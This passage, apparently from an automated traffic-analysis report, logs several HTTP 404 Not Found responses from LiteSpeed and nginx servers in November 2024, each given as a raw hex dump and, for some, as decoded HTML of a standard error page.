6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Mon, 18 Nov 2024 12:13:53 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Mon, 18 Nov 2024 12:13:56 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Mon, 18 Nov 2024 12:13:58 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 18 Nov 2024 12:14:04 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 18 Nov 2024 12:14:07 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 18 Nov 2024 12:14:10 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 18 Nov 2024 12:14:12 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
